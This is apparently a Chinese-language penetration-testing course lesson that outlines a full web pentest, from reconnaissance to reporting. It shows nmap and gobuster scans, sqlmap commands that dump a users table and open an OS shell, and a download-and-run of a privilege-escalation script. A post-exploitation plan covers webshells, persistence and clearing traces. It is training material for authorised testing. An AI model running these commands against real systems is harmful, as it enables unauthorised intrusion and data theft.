實戰:完整滲透測試
Vibe Prompt
「幫我規劃一次完整的 Web 滲透測試:從資訊收集、漏洞掃描、漏洞利用到取得 Shell。」
完整流程
第一階段:資訊收集 (1-2 天)
├── OSINT (域名、Email、子網域)
├── 技術棧識別
├── 埠掃描 (Nmap)
└── 目錄枚舉 (Gobuster, Dirb)
第二階段:漏洞掃描 (1-2 天)
├── Nessus / OpenVAS
├── OWASP ZAP
├── Nikto
└── Nuclei
第三階段:漏洞利用 (2-3 天)
├── SQL Injection (SQLMap)
├── XSS (手動驗證)
├── 檔案上傳繞過
├── SSRF
├── 不安全的直接物件引用 (IDOR)
└── 權限提升
第四階段:後滲透 (1 天)
├── Webshell 建立
├── 持久化
├── 橫向移動
├── 敏感資料收集
└── 清除痕跡
第五階段:報告 (1-2 天)
├── 漏洞摘要
├── 風險評級 (CVSS)
├── 修復建議
└── 附錄(Payload、截圖)
Nmap 全掃
# 完整掃描
nmap -sV -sC -O -A -p- -T4 target.com -oA report
# 參數
-sV: 版本偵測
-sC: 預設腳本
-O: OS 偵測
-A: 全面掃描
-p-: 所有埠 (1-65535)
-T4: 速度
-oA: 輸出所有格式
Gobuster 目錄枚舉
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50
gobuster vhost -u https://target.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 30
漏洞利用範例:SQLMap
# 自動化 SQL Injection
sqlmap -u "https://target.com/products?id=1" --batch --level=3 --risk=2
# 取得資料庫
sqlmap -u "https://target.com/products?id=1" --batch --dbs
# 取得表格
sqlmap -u "https://target.com/products?id=1" --batch -D mydb --tables
# 取得資料
sqlmap -u "https://target.com/products?id=1" --batch -D mydb -T users --dump
# OS Shell
sqlmap -u "https://target.com/products?id=1" --batch --os-shell
權限提升檢查
# Linux PE 腳本
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# 常見 PE 向量
sudo -l # sudo 權限
find / -perm -4000 2>/dev/null # SUID 檔案
cat /etc/crontab # 排程任務
uname -a # 核心版本
cat /etc/os-release # 發行版
滲透測試報告範本
# 滲透測試報告
## 摘要
- 目標: https://vibe-tutor.com
- 週期: 2026-06-30 ~ 2026-07-02
- 發現漏洞: 7(高:2 中:3 低:2)
- CVSS 平均分數: 7.2
## 高風險漏洞
### H-01: SQL Injection in /api/products
- 描述: id 參數未過濾,可用 SQLMap 注入
- CVSS: 9.1 (Critical)
- 證據: sqlmap 成功 dump users 表格
- 修復: 使用參數化查詢
### H-02: Broken Access Control in /api/admin
- 描述: 未驗證管理員權限
- CVSS: 8.2 (High)
- 證據: 直接存取 /api/admin/users 回傳所有使用者
- 修復: 加入角色驗證 Middleware
## 中風險漏洞
... (略)
## 低風險漏洞
... (略)
課程總結
進階滲透測試完成!
- ✅ Burp Suite
- ✅ Metasploit
- ✅ OSINT
- ✅ Webshell 與持久化
- ✅ 完整滲透測試流程